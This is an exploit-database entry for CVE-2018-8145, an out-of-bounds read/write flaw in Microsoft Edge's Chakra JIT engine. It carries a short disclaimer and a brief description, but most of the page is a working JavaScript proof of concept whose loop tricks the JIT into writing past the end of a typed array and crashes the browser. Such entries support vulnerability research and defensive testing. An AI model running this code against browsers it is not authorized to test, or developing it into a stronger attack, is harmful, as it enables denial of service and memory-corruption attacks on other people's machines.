Materialized exploit

CVE-2018-8145

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge Chakra JIT - Out-of-Bounds Reads/Writes

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code js

/*
It seems that this issue is similar to the  issue 1429  (MSRC 42111). It might need to refresh the page several times to observe a crash.

PoC:
*/

let arr = new Uint32Array(1000);
for (let i = 0; i < 0x1000000; i++) {
    for (let j = 0; j < 1; j++) {
        i--;
        i++;
    }

    arr[i] = 0x1234;
}